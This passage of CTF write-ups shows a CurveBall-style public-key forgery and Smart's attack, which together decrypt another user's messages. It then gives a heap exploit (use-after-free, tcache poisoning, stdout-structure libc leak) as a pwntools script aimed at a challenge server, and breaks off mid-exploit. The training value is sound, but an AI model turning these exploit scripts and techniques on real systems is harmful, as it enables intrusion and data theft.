print_colored_text(Fore.BLUE,"[*] Initiating key exchange")
print()
print_colored_text(Fore.MAGENTA,"[*] Curve Parameters")
print_colored_text(Fore.LIGHTRED_EX,f"[+] P: {keyrings[user]['P']}")
print_colored_text(Fore.LIGHTRED_EX,f"[+] a: {keyrings[user]['a']}")
print_colored_text(Fore.LIGHTRED_EX,f"[+] b: {keyrings[user]['b']}")
print_colored_text(Fore.LIGHTRED_EX,f"[+] Gx: {keyrings[user]['Gx']}")
print_colored_text(Fore.LIGHTRED_EX,f"[+] Gy: {keyrings[user]['Gy']}")
user_curve = curve.Curve(user,keyrings[user]['P'],keyrings[user]['a'],keyrings[user]['b'],keyrings[user]['P'],keyrings[user]['Gx'],keyrings[user]['Gy'])
print()
print_colored_text(Fore.GREEN,"Sending Messages...")
messages_enc = []
for i in range(len(msgs)):
msg = self.encrypt_msg(msgs[i],sender,user,user_curve)
print()
print(f"Message from {sender}:\n{msg}\nPlease use the private key generated on your authenticator device to decrypt it")
print()
print("\n")
else:
print("No new messages!")
def user_signin(self):
email = input("Enter your @pollos-hermanos.com mail id: ")
if (not "@pollos-hermanos.com" in email) or (email.find("@pollos-hermanos.com")+20 != len(email)):
print("Invalid email!")
else:
try:
private_key = int(input("Enter your private key: "))
except ValueError as e:
print(f"Error occured : {e}")
sys.exit(1)
if private_key<2**16:
print("Private key too insecure!")
sys.exit(1)
try:
generator = Point(int(input("Gx: ")),int(input("Gy: ")))
except ValueError as e:
print(f"Error occured : {e}")
sys.exit(1)
certificate = generator * private_key
email_found = self.search_key(email,certificate)
if not email_found and (not email in self.certs.keys()):
self.certs[email] = {
"securityKey": certificate,
"G": [generator.x,generator.y]
}
print("Security Key added.")
else:
print(f"Welcome Mr. {email_found.split('@')[0].split('.')[0]}")
user = email_found
self.send_msg_to_receiver(user)
if __name__ == "__main__":
portal = Portal()
while True:
portal.user_signin()
Damn!! That is a lot of crypto stuff going on... But we will get back to that later.
First let's connect with the nc string given in the challenge.
We are required to enter a pollos-hermanos mail id and a private key . Let's try entering some random number
It tells us that the private key is too insecure....Well it should be as can be seen in this part of the code
try:
private_key = int(input("Enter your private key: "))
except ValueError as e:
print(f"Error occured : {e}")
sys.exit(1)
if private_key<2**16:
print("Private key too insecure!")
sys.exit(1)
so we need to enter a number that is greater than 16bits or 2^16. After entering a large enough number, We get the prompt of entering the generator.
According to this code, if the Generator Point*private key, is a public key already registered as a user in the "database", then you will get to read their messages. This is a simple manifestation of the curveball vulnerability which was found in microsoft's CryptAPI. The vulnerability arises when we are able to define the generator point and the private key both. We can forge a public key by a simple trick. For Eg. if the public key which we want to forge is G, then we multiply it with a random secret key, say k, let this new public key be called P = G*k , so we can send this as the generator point, and pow(k,-1,n)
as the private key to forge the public key G. as G*k*k_inv = G
Since we are hinted at, heisenberg , let's try to read his messages first.
We calculate the private key and generator point to send to the server
>>> G = Point(0x5711176bc452a882952d058376c4cda7f93e7f2063b4e0e947e193ba3d150054,0xd2f843855a1e4c32bc036994ed3fed9f088a4f8534926f67250465bf944c97f9)
>>> pk = 129893743
>>> pk_inv = pow(pk,-1,curve.P256.q)
>>> newG=G*pk_inv
>>> newG.x
46335256365394958571150731638201159165848316958144255779969913085027568433601
>>> newG.y
11460666069606101861806883315581877419604921747598920014293368182001234603590
>>> newG*pk == G
True
└─$ nc 165.232.190.5 7370
Enter your @pollos-hermanos.com mail id: [email protected]
Enter your private key: 129893743
Gx: 46335256365394958571150731638201159165848316958144255779969913085027568433601
Gy: 11460666069606101861806883315581877419604921747598920014293368182001234603590
Welcome Mr. heisenberg
(2) New Messages from gus.fring
Transferring messages...
[*] Initiating key exchange
[*] Curve Parameters
[+] P: 64573846639217184675346613878095257716233474695723007656236637738971482422507
[+] a: 7309927295899868534467332018180664631828003616539118005379358170719927503971
[+] b: 15583598394175064257980538399401554139047263562191396130472514991635049290872
[+] Gx: 49136458062572038061287368377259586733372276434668409017095869262895701976503
[+] Gy: 46048292512605962142315549207787958311072090970167589440318523455022149744363
As we can see, we can now read the encrypted messages of Heisenberg or Walter White.
One message from Jesse Pinkman is suspiciously long. Let's decrypt it first.
[*] Initiating key exchange
[*] Curve Parameters
[+] P: 64573846639217184675346613878095257716233474695723007656236637738971482422507
[+] a: 7309927295899868534467332018180664631828003616539118005379358170719927503971
[+] b: 15583598394175064257980538399401554139047263562191396130472514991635049290872
[+] Gx: 49136458062572038061287368377259586733372276434668409017095869262895701976503
[+] Gy: 46048292512605962142315549207787958311072090970167589440318523455022149744363
Sending Messages...
[*] Generating new shared secret(End-to-End Encryption)
[+] Public Key of heisenberg: X: 0x8ead0643aaaddd933fdc4418df364c6ce3ff9a0ae8d0277d90da8009e47a4475
Y: 0x5d64df583ed55a7dd5907e3c1d5fc77c06ab97e36da70bb27cfde81b4f2f2b36
(On curve <heisenberg>)
[+] Public Key of jesse.pinkman: X: 0x1494e63cc156b6e77daff1748c200804bb3d8f9ade2bb69bf964a36351e2e64d
Y: 0x5cd8b06ecfae4cae1ac5dd924a6ea4a4b0fb03c63865a75dc39eb10b380478ce
(On curve <heisenberg>)
Message from jesse.pinkman:
11c81e04a6ea71d9a61a3849ace7d866:d8013be4f0f239fd5c9d64e5e315d93d9051cf28b53d99f820e66f901f545e90a09a625c6c06f1b0158652240c83f0d5ad98f67e126c7e85112b437d0874a1f703333359c448fd832750d441c6f0782e
Please use the private key generated on your authenticator device to decrypt it
[*] Generating new shared secret(End-to-End Encryption)
[+] Public Key of heisenberg: X: 0x1cf064f0d52423bffcc03d2b028a6d7b931693ee3f448c724c4ce13d6b913cd2
Y: 0x562cfe1c2cc4cae73ca19966ac79ad9ae3ed0ee85e8ab2f7fbc4545ae5e7c69
(On curve <heisenberg>)
[+] Public Key of jesse.pinkman: X: 0x5286d1ee6b722de0c882ee61ecefcc2d3cc1b7480bed3dc412573f3ebca4a66d
Y: 0x4919da7e33246169f3c2ed51d850b55ad1331c09f49eab90886eb995a9f63774
(On curve <heisenberg>)
Message from jesse.pinkman:
f7eb5034ad3b2da7f73a87c550925de5:5529ab692d0e5c8c7bc3bacc020c69e975ae9dcc6862b4cce40029c119bfb818466406b9bf92ef27d15dae212f22e60b4a1dc885ddcc59c99ff1550f84521e2c
Please use the private key generated on your authenticator device to decrypt it
[*] Generating new shared secret(End-to-End Encryption)
[+] Public Key of heisenberg: X: 0x327aed5de5986496c8863357e1d703a9fdd2fcbacdb106e16029aa7f28703de7
Y: 0x3b19f705c759ecbc6c1133455930ae2131d538de464be1c81a696712c6797afc
(On curve <heisenberg>)
[+] Public Key of jesse.pinkman: X: 0x62a37d494c3162f0f131ac2d0860bc6e29e996fa174a2adbeb9993bea0e1120b
Y: 0x2ce281dd14e65680edf75471983a029d0f1895dd713df309061d7ca42d04199e
(On curve <heisenberg>)
Message from jesse.pinkman:
59f440c6658f6518ec3797eef1f30557:c30e26393c0e181a3f369bebff649012f904f2f1c880620ceb41fe293ad4ec1780110b4c75bb89ac8e4ca04a078c19089df990ebe2a9a66f4db12bd9c8cb808bb9e42ebbd614f52ace03e168537193474943aa4636f5f28270c6715eb1b959d1f41143b5de88c61930fb470ce7894b8d7d945d1d77f57376d9edb8d3e56b35a1ecc3e78d7abccc56d716f36ece5d59e5887e4b757cdeeeafc943573ff2a04e94357dec6a88f8b81dc0e34cad4d9e0bfcfc740cda3ee5fccb60ad7bc7c0c65d573e03ba729b3210909bca5ed0b21062d7
Please use the private key generated on your authenticator device to decrypt it
Since we have the curve parameters, let's start by finding the order of the curve
sage: FF = FiniteField(0x8ec3808346fd90023c910e24d4bfeb634857876ce8e5ff906f94a26a5fd1fceb)
sage: Curve = EllipticCurve(FF,[0x102945b0decbc276591c008ddfd4124a1e4340f2085300bb3d98eb021a658c63,0x2274010e229a59ebe3ff0b736e43c05511157a917da41c32ee376bde2f091c78])
sage: G = Curve.gens()[0]
sage: hex(G.order())
'0x8ec3808346fd90023c910e24d4bfeb634857876ce8e5ff906f94a26a5fd1fceb'
The order of the curve is same as the modulus of it's galois field!! This means we can decrypt the message trivially using smart's attack
def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])
P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break
Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break
p_times_P = p*P_Qp
p_times_Q = p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)
# Curve parameters --> Replace the next three lines with given values
p = 64573846639217184675346613878095257716233474695723007656236637738971482422507
a = 7309927295899868534467332018180664631828003616539118005379358170719927503971
b = 15583598394175064257980538399401554139047263562191396130472514991635049290872
# Define curve
E = EllipticCurve(GF(p), [a, b])
assert(E.order() == p)
# Replace the next two lines with given values
P2 = E(0x327aed5de5986496c8863357e1d703a9fdd2fcbacdb106e16029aa7f28703de7
, 0x3b19f705c759ecbc6c1133455930ae2131d538de464be1c81a696712c6797afc)
P1 = E(49136458062572038061287368377259586733372276434668409017095869262895701976503 , 46048292512605962142315549207787958311072090970167589440318523455022149744363)
print(SmartAttack(P1,P2,p))
Running the script produces the output:
└─$ sage smart_attack.sage
25178582251932665693135225459803592383575564406034419173958103275435289713115
Now we just need to find the shared secret, which is obtained the result of the script which is the private key of the sender, with the public key of the receiver, or vice versa.
>>> heisenberg_curve = curve.Curve('heisenberg',64573846639217184675346613878095257716233474695723007656236637738971482422507,7309927295899868534467332018180664631828003616539118005379358170719927503971,15583598394175064257980538399401554139047263562191396130472514991635049290872,64573846639217184675346613878095257716233474695723007656236637738971482422507,49136458062572038061287368377259586733372276434668409017095869262895701976503, 46048292512605962142315549207787958311072090970167589440318523455022149744363)
>>> shared_secret_point=Point(0x327aed5de5986496c8863357e1d703a9fdd2fcbacdb106e16029aa7f28703de7,0x3b19f705c759ecbc6c1133455930ae2131d538de464be1c81a696712c6797afc,curve=heisenberg_curve)*25178582251932665693135225459803592383575564406034419173958103275435289713115
>>> shared_secret = shared_secret_point.x + shared_secret_point.y
>>> sha1 = hashlib.sha1()
>>> sha1.update(str(shared_secret).encode('ascii'))
>>> key = sha1.digest()[:16]
>>> iv=bytes.fromhex('59f440c6658f6518ec3797eef1f30557')
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> cipher.decrypt(bytes.fromhex('c30e26393c0e181a3f369bebff649012f904f2f1c880620ceb41fe293ad4ec1780110b4c75bb89ac8e4ca04a078c19089df990ebe2a9a66f4db12bd9c8cb808bb9e42ebbd614f52ace03e168537193474943aa4636f5f28270c6715eb1b959d1f41143b5de88c61930fb470ce7894b8d7d945d1d77f57376d9edb8d3e56b35a1ecc3e78d7abccc56d716f36ece5d59e5887e4b757cdeeeafc943573ff2a04e94357dec6a88f8b81dc0e34cad4d9e0bfcfc740cda3ee5fccb60ad7bc7c0c65d573e03ba729b3210909bca5ed0b21062d7'))
b"Yo Mr. White, I guess I am onto something, I found the password of Gus' laptop. Maybe we can checkout his calendar to know where he would be in the next 2 days. It's : BugBase{!+H@t3_6us_Fr1ng_$$$737000}\x05\x05\x05\x05\x05"
And we found the flag!
Flag : BugBase{!+H@t3_6us_Fr1ng_$$$737000}
Challenge Title: Rock-Paper-Scissors
Category: pwn
Difficulty: Hard
Description: Let's get old school! Let's have a game of rock-paper-scissors!
In the handouts for this challenge, we get a challenge binary file and a libc.so.6 file. After patching and linking the binary to use libc provided by the challenge using pwninit, let's check the security on the binary using checkelf.
As we can see, all the modern protections are turned on in this binary. So we can not
Let's decompile the binary in ghidra and get familiar with the functions used in it
main function
This is the main function which calls the menu to print the menu and get user choice. Based on that choice, it either creates a new game if the limit of new games is not reached, which is 0x17 or 23. If the user selects option 2, then he gets to resume a previously saved game. So far so good. Let's move on to the init_game_and_play
function
init_game_and_play function
This is even shorter code! This function just creates a new chunk for storing the new game and then calls the play
function to begin the actual game. Then frees the chunk based on the return value from the play function. Let's analyse what the play function does next
play function
undefined8 play(long *param_1)
{
int iVar1;
char *pcVar2;
undefined8 uVar3;
long in_FS_OFFSET;
int local_38;
int local_34;
long local_30;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
LAB_001013e7:
do {
puts("1. Guess");
puts("2. Save");
puts("3. Quit");
printf("\nEnter your choice: ");
__isoc99_scanf(&DAT_0010204a,&local_38);
getchar();
if (local_38 == 1) {
printf("Play your move(rock|paper|scissors): ");
fgets(local_28,0x12,stdin);
local_34 = generateComputerMove();
printf("\nComputer guessed: %s\n",*(undefined8 *)(choices + (long)local_34 * 8));
printf("You guessed: %s\n",local_28);
pcVar2 = strstr(local_28,*(char **)(winning_choices + (long)local_34 * 8));
if (pcVar2 == (char *)0x0) {
pcVar2 = strstr(local_28,*(char **)(choices + (long)local_34 * 8));
if (pcVar2 == (char *)0x0) {
puts("Ooops.. You got defeated this time!");
}
else {
puts("That\'s a draw!");
*param_1 = *param_1 + 10;
}
}
else {
puts("Congratulations! You win!\n");
if (0x95 < *param_1) {
printf("Enter how many points do you wish to add to the scoreboard: ");
__isoc99_scanf(&DAT_001020fd,&local_30);
getchar();
*param_1 = *param_1 + local_30;
printf("\nScore successfully Updated!");
goto LAB_001013e7;
}
*param_1 = *param_1 + 0xf;
if (*param_1 == 0x96) {
puts(
"\nWhat!!!!That\' impossible!\nBut since you managed to pull it off, from next time we \'ll let you add the pointsof your choice to the score!"
);
}
}
param_1[1] = param_1[1] + 1;
}
if (local_38 == 2) {
*(int *)(param_1 + 2) = *(int *)(param_1 + 2) + 1;
uVar3 = 1;
goto LAB_0010165a;
}
if (local_38 == 3) {
printf("Do you want to also dlt the game data:(y?) ");
iVar1 = getchar();
getchar();
if ((char)iVar1 == 'y') {
uVar3 = 0;
}
else {
uVar3 = 1;
}
LAB_0010165a:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;
}
} while( true );
}
The play function is the main meat of the program and enables the players to play the game of rock-paper-scissors. Let's analyze it closely. It starts a "while true" loop, printing a menu consisting of three options
1. Guess
2. Save
3. Quit
First one is the option to guess the correct move against the computer. Which we can see in the code is implemented as:
if (local_38 == 1) {
printf("Play your move(rock|paper|scissors): ");
fgets(local_28,0x12,stdin);
local_34 = generateComputerMove();
printf("\nComputer guessed: %s\n",*(undefined8 *)(choices + (long)local_34 * 8));
printf("You guessed: %s\n",local_28);
pcVar2 = strstr(local_28,*(char **)(winning_choices + (long)local_34 * 8));
if (pcVar2 == (char *)0x0) {
pcVar2 = strstr(local_28,*(char **)(choices + (long)local_34 * 8));
if (pcVar2 == (char *)0x0) {
puts("Ooops.. You got defeated this time!");
}
else {
puts("That\'s a draw!");
*param_1 = *param_1 + 10;
}
}
So what this code does is, is that it reads a inputs a string from the user from rock, paper or scissors. But there is no check to make sure that the player entered one of these strings only. Next a computer guess is made, which just returns a random value from [0,1,2], which is used as an index to the choices
global array to determine the computer's choice, and the player's input is checked to the corresponding choice in the winning_choices
to determine whether he won or lost. There is a flaw in this check though. It only checks whether the winning choice string is found in the user input or not. This check can be easily bypasses each time by simply supplying the string "rockpaperscissors" since it will always contain the winning choice string. Also, once we have won 10 games, or collected 150 points, we can add arbitrary scores to the scoreboard in the subsequent wins. The function also increments something which appears to be a number_of_tries
variable after each guess which is located at game+8
in the struct
But how do we get to pwn from here? Let's continue our analysis of the program.
The next option is used to save the game and it simply sets the return value to 1 and increments some sort of saved counter in the game struct as seen in the following code
if (local_38 == 2) {
*(int *)(param_1 + 2) = *(int *)(param_1 + 2) + 1;
uVar3 = 1;
goto LAB_0010165a;
}
The saved pointer is clearly located at game_struct+8
and is incremented after every save.
Next option is to quit which is interesting code in itself. Since it asks the user whether he also wants to delete the game data, and if the user enters 'y' then the return value is set to 0.
if (local_38 == 3) {
printf("Do you want to also dlt the game data:(y?) ");
iVar1 = getchar();
getchar();
if ((char)iVar1 == 'y') {
uVar3 = 0;
}
else {
uVar3 = 1;
}
Remember that based on this return pointer, we are freeing (or not) the new malloc chunk that is created for this chunk. So the second option "Save" will not delete the game chunk, but it will increase the save pointer, which is a side effect of saving. But the Quit function does not modify anything, but can be used to free the game chunk.
Let's analyse the next main menu function i.e. resume_game
resume_game function
Ok. So this function is used to resume the game that was supposedly saved from the play function and again calls play on it. It performs some basic checks to see whether the game is in the bounds of the global gamelist
array which stores all the games. Or whether the game has actually been played. Next it calls the play function and based on it's return value frees the game.
To a experienced eye, there is an obvious double free and a UAF in this code. However there is no way of getting any leak from the print functions as nothing is getting printed except from the computer guess(interesting). Both of these vulns arises due to missing check in the resume_game
function for checking if a game in the list has already been freed.
So.....how do we exploit it?? The most common method is to free a heap chunk to the unsorted bin
and then attempt to read the value of the freed chunk to get the libc address since the freed chunk will contain a libc address to the main_arena
, However, an unsorted bin attack is not feasible in this case as we have no control over the size of what gets malloc'ed and it is fixed in size 0x18 bytes. In this case we can't even get any leak from the given menu options since there is only provision to print the computer's choice. In such cases the approach usually is to get a libc leak using the stdout file structure. In short, we need the following conditions met, and puts
will obediently print out a libc address for us:
_IO_2_1_stdout_->flags
should be 0x1800
_IO_2_1_stdout_->_IO_write_ptr
should be larger than _IO_2_1_stdout_->_IO_write_base
Well turns out that we have all the primitives to reach this available to us!
The action plan will be as follows...
Let's start building our exploit script, the first part will be to get the chunk in both the tcache and the unsorted bin.
First let's define some utility functions to aid us in the exploit.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r,'''
break *resume_game+193
break *play+383
c
''')
else:
r = remote("165.232.190.5", 1337)
return r
r = conn()
sla=lambda x,y: r.sendlineafter(x,y)
def win_game_and_dlt(num):
game_num=str(num).encode()
print(f"game number to resume {game_num}")
sla(b"Enter your choice: ",b"2")
sla(b"Enter the # of the game you want to resume playing: ",game_num)
for i in range(10):
sla(b"Enter your choice: ",b"1")
sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
sla(b"Enter your choice: ",b"3")
sla(b"Do you want to also dlt the game data:(y?) ",b"y")
def win(num):
game_num=str(num).encode()
print(f"game number to resume {game_num}")
sla(b"Enter your choice: ",b"2")
sla(b"Enter the # of the game you want to resume playing: ",game_num)
for i in range(10):
sla(b"Enter your choice: ",b"1")
sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
sla(b"Enter your choice: ",b"3")
sla(b"Do you want to also dlt the game data:(y?) ",b"n")
def create_and_save():
sla(b"Enter your choice: ",b"1")
sla(b"Enter your choice: ",b"2")
def create():
sla(b"Enter your choice: ",b"1")
sla(b"Enter your choice: ",b"3")
sla(b"Do you want to also dlt the game data:(y?) ",b"n")
def deleted_score(gamenum,val):
game_num = str(gamenum).encode()
val = str(val).encode()
sla(b"Enter your choice: ",b"2")
sla(b"Enter the # of the game you want to resume playing: ",game_num)
sla(b"Enter your choice: ",b"1")
sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
sla(b"Enter how many points do you wish to add to the scoreboard: ",val)
sla(b"Enter your choice: ",b"3")
sla(b"Do you want to also dlt the game data:(y?) ",b"n")
def increment_tries(gamenum,to):
gamenum = str(gamenum).encode()
sla(b"Enter your choice: ",b'2')
sla(b"Enter the # of the game you want to resume playing: ",gamenum)
for _ in range(to):
sla(b"Enter your choice: ",b"1")
sla(b"Play your move(rock|paper|scissors): ","hehe")
sla(b"Enter your choice: ",b"2")
def resume_dlt(num):
sla(b"Enter your choice: ",b'2')
sla(b"Enter the # of the game you want to resume playing: ",str(num).encode())
sla(b"Enter your choice: ",b'3')
sla(b"Do you want to also dlt the game data:(y?) ",b"y")
def increment_saves(gamenum,inc_by):
for _ in range(inc_by):
sla(b"Enter your choice: ",b'2')
sla(b"Enter the # of the game you want to resume playing: ",str(gamenum).encode())
sla(b"Enter your choice: ",b'2')
Let me explain these functions:
win_game_and_dlt
: This function wins a game, or sets the score above 150, so that now we can add arbitrary values to the scoreboard (long)game[0]
in addition, this function also deletes the game.win
: Same as win_game_and_dlt
but does not delete the gamecreate_and_save
: This function creates a new game and immediately saves itcreate
: same as create but does not savedeleted_score(gamenum,num)
: It adds the value "num" to the game "gamenum" 's scoreboardincrement_tries
: This function simply increments the tries of the game structresume_dlt
: This function resumes a game and deletes itincrement_saves
: Simply increments the game savesNow we start creating our exploit:
for _ in range(3):
create()
win_game_and_dlt(0)
win_game_and_dlt(1)
deleted_score(1,16) # tcache poisoning the 1st chunk, will overwrite this chunk's metadata in the next two games
We first create 3 games, then delete the first two games. We add 16 to the second chunk so that the tcache pointer to next free chunk points to the second chunk's metadata itself
Before add:
gef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x0000000000000021
0x5577108f92c0: 0x00005577108f92a0 0x00005577108f9010
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x0000000000000000
0x5577108f92f0: 0x0000000000000000 0x0000000000020d11
After add:
gef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x0000000000000021
0x5577108f92c0: 0x00005577108f92b0 0x00005577108f9010
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x0000000000000000
0x5577108f92f0: 0x0000000000000000 0x0000000000020d11
As we can see, the tcache list has been poisoned and we will get a chunk allocated at 0x00005577108f92b0
after two mallocs..
create() # games[3] -> same as games[1]
create() # games [4] -> will now point to the metadata of games[1]
Thus gamelist[4]
will be pointing to the chunk metadata of gamelist[1]
. Now since we need a chunk in the unsorted bin, we need to free 7 chunks of the same size,but it will not be feasible as we have limited chunks to allocate.So we need to poison the tcache_perthread_struct which resides at the heap_base, and contains the count of the number of chunks in each tcache bin.
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
The counts is an array of short ints which stores the counter of each tcache bin starting from tcache of size 0x20. So we need to perform another tcache poisoning to get a chunk malloced at the position of tcache_perthread_struct, and increment the counter of tcache list of size 0xa0. Since we will be poisoning the heap metadata of gamelist[1]
to this size. It can be any size you want.
create() # games [5] -> next to games[2]
win_game_and_dlt(2)
win_game_and_dlt(5)
deleted_score(5,-720) # tcache poisoning 5 to make it point to tcache_perthread_struct
Next we create another game and poison it to make the next chunk in the tcache's freelist point to the tcache_perthread_struct
.
gef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x0000000000000000
0x5577108f92c0: 0x00005577108f92b0 0x0000000000000000
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x00005577108f9010
0x5577108f92f0: 0x0000000000000000 0x0000000000000021
0x5577108f9300: 0x00005577108f92e0 0x00005577108f9010
0x5577108f9310: 0x0000000000000000 0x0000000000020cf1
We delete two more games so that gamelist[5]
points to 0x00005577108f92b0
, but the tcache_perthread_struct is located at 0x00005577108f9010
gef➤ x/8gx 0x00005577108f9010
0x5577108f9010: 0x0000000000000002 0x0000000000000000
0x5577108f9020: 0x0000000000000000 0x0000000000000000
0x5577108f9030: 0x0000000000000000 0x0000000000000000
0x5577108f9040: 0x0000000000000000 0x0000000000000000
As we can see, it already contains two chunks in the 0x20 list, these are the ones we just freed.
After poisoning the tcache
gef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x0000000000000000
0x5577108f92c0: 0x00005577108f92b0 0x0000000000000000
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x00005577108f9010
0x5577108f92f0: 0x0000000000000000 0x0000000000000021
0x5577108f9300: 0x00005577108f9010 0x00005577108f9010
0x5577108f9310: 0x0000000000000000 0x0000000000020cf1
The next two create() will take this chunk out from the tcache and we can increment the tries of this game as tries are stored in the third byte of the game chunk.]
gef➤ x/8gx 0x00005577108f9010
0x5577108f9010: 0x0000000000000000 0x0000000000000000
0x5577108f9020: 0x0000000000000008 0x0000000000000000
0x5577108f9030: 0x0000000000000000 0x0000000000000000
0x5577108f9040: 0x0000000000000000 0x0000000000000000
We have successfully poisoned the gamelist[5]
, and we can set the tcache_perthread_struct->counts[8]
to be greater than 7 and it will make the corresponding tcache to look filled, and the next chunk of size 0xa0 will go into the unsorted bin.
Now we need to free a chunk so that it ends up in the unsorted bin and the tcache bin.The following code does this.
create() # games[6] will use 5th one
create() # games[7] will use the poisoned tcache from 5th
increment_saves(7,8) increment the counts value of tcache of size 0xa0
# we need to create these chunks so that the
create() # game[8]
create() # game[9]
create() # game[10]
create() # game [11]
create() # game [12]
create() # game [13]
create() # game [14]
create() # game [15]
resume_dlt(10)
increment_tries(4,0x21)
resume_dlt(1) # tcache now consists of gamelist[1]
increment_tries(4,0x80)
resume_dlt(1)
This piece of code allocates a few chunks beforehand so that the chunk gamelist[1]+0xa0
is a valid chunk, then it increments the tries of the gamelist[4]
since it is the size metadata of gamelist[1]
and it is null at the moment
ef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x0000000000000000
0x5577108f92c0: 0x00005577108f92b0 0x0000000000000000
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x00005577108f9010
0x5577108f92f0: 0x0000000000000000 0x0000000000000021
0x5577108f9300: 0x00005577108f9010 0x0000000000000000
0x5577108f9310: 0x0000000000000000 0x0000000000000021
0x5577108f9320: 0x0000000000000000 0x0000000000000000
0x5577108f9330: 0x0000000000000000 0x0000000000000021
......
After incrementing tries
ef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x0000000000000021
0x5577108f92c0: 0x00005577108f92b0 0x0000000000000000
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x00005577108f9010
0x5577108f92f0: 0x0000000000000000 0x0000000000000021
0x5577108f9300: 0x00005577108f9010 0x0000000000000000
0x5577108f9310: 0x0000000000000000 0x0000000000000021
0x5577108f9320: 0x0000000000000000 0x0000000000000000
0x5577108f9330: 0x0000000000000000 0x0000000000000021
.......
Now when we free this chunk(gamelist[1]
) , it ends up in the tcache bin. Then we increment the tries of gamelist[4]
again to make it 0xa0 this time
gef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x00000000000000a1
0x5577108f92c0: 0x00005577108f9361 0x00005577108f9010
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x00005577108f9010
0x5577108f92f0: 0x0000000000000000 0x0000000000000021
0x5577108f9300: 0x00005577108f9010 0x0000000000000000
0x5577108f9310: 0x0000000000000000 0x0000000000000021
........
...and free gamelist[1]
again, this should put it in the unsorted bin at the same time it is in the tcache bin
gef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x00000000000000a1
0x5577108f92c0: 0x00007f18a35f0be0 0x00007f18a35f0be0
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x00005577108f9010
0x5577108f92f0: 0x0000000000000000 0x0000000000000021
0x5577108f9300: 0x00005577108f9010 0x0000000000000000
0x5577108f9310: 0x0000000000000000 0x0000000000000021
malloc
gives preference to the tcache bin when selecting a chunk to return, thus we can leverage this behaviour to return a chunk to an address in the libc by incrementing the libc address which putting the chunk in unsorted bin placed it in the location of tcache fwd pointer.
Now the tcache looks like this:
We want to change the value at 0x5577108f92c0
to make it point to _IO_2_1_stdout_ structure so that we can modify it's flags and the write base.
gef➤ p &_IO_2_1_stdout_
$3 = (<data variable, no debug info> *) 0x7f18a35f16a0 <_IO_2_1_stdout_>
gef➤ p/x 0x7f18a35f16a0-0x00007f18a35f0be0
$4 = 0xac0
So we need to add 0xac0 to the 1st chunk in order to get a chunk at stdout.
deleted_score(1,0xac0) # increment the value to point to _IO_2_1_stdout_
create() # game[16]
create() # game[17]
This code just does that, the chunk at gamelist[17]
should now point to the stdout->flags , let's examine what the current value of flags is
gef➤ x/gx 0x7f18a35f16a0
0x7f18a35f16a0 <_IO_2_1_stdout_>: 0x00000000fbad2887
gef➤ p/u 0x00000000fbad2887-0x1800
$7 = 4222423175
so we would need to subtract this value from the already present flags. We can do it as follows
deleted_score(17,-4222423175)
Now we just need to do one more step to get to leak the libc address, i.e , - _IO_2_1_stdout_->_IO_write_ptr
should be larger than _IO_2_1_stdout_->_IO_write_base
, in order to do that, we need to poison the chunk gamelist[1]
again.
win(7)
deleted_score(7,-0x93)
resume_dlt(11)
resume_dlt(12)
deleted_score(12,-192)
deleted_score(1,0x28)
create() # game[18]
create() # game[19]
create() # game[20], this returns the address of the _IO_2_1_stdout_->_IO_write_ptr
This will adjust the tcache_perthread_struct
which has been inevitably been modified by the play
